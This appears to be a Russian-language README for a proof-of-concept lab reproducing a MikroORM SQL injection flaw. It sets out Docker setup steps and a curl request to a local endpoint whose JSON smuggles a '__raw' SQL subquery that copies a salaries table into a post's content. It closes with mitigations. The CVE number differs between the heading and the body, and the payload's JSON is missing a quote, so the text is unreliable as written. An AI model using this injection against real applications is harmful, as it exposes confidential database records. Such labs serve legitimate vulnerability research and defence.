
CVE-2026-34220 — Updated!
Уязвимость SQL-инъекции в MikroORM
CVE-2026-43220 MikroORM SQL Injection
★ CVE-2026-43220 MikroORM SQL Injection PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
Обзор
CVE-2026-43220 — это уязвимость SQL-инъекции в MikroORM, широко используемом ORM-фреймворке для TypeScript/Node.js.
Когда предоставленное пользователем значение, содержащее свойство__raw, передаётся в колонку пользовательского типа без валидации, проверкаisRaw()в MikroORM распознаёт его как доверенное внутреннее Raw SQL-выражение и вставляет контролируемое атакующим значениеsqlнапрямую в сгенерированный запрос без преобразования типов или санитизации, что приводит к непреднамеренному выполнению произвольного SQL.
Уязвимые версии
| Категория | Версия |
|---|---|
| Уязвимые | MikroORM версия ≤ 6.4.3 и 7.0.0 ≤ версия ≤ 7.0.5 |
| Исправленные | MikroORM 6.4.4 и 7.0.6 |
Воздействие
- Неавторизованная эксфильтрация конфиденциальных данных из базы данных
- Повреждение или непреднамеренное изменение существующих записей базы данных
Окружение
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
PoC
После запуска уязвимого окружения выполните шаги ниже, чтобы воспроизвести атаку.
Шаг 1. Отправьте запрос с вредоносной полезной нагрузкой, содержащей __raw
Отправьте JSON-тело, включающее свойство __raw, нацеленное на колонку пользовательского типа.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Шаг 2. Проверьте HTTP-ответ
Убедитесь, что API возвращает успешный ответ без каких-либо ошибок, что указывает на то, что MikroORM принял вредоносную полезную нагрузку как допустимое значение.
Шаг 3. Подтвердите эксфильтрацию конфиденциальных данных в содержимое поста
Убедитесь, что поле content созданного поста содержит результат запроса
из таблицы salaries (например, Alice: 5000 / Bob: 7000 / ...),
что подтверждает, что данные из несвязанной таблицы были незаметно внедрены
в ответ без каких-либо ошибок или нарушения контроля доступа.
Меры защиты
- Обновитесь до MikroORM 6.4.4 или более поздней версии, которая вводит проверку происхождения в
isRaw()для отклонения внешне предоставленных свойств__raw - Применяйте валидацию входных данных на основе белого списка для отклонения неожиданных свойств, таких как
__raw, перед передачей значений в слой ORM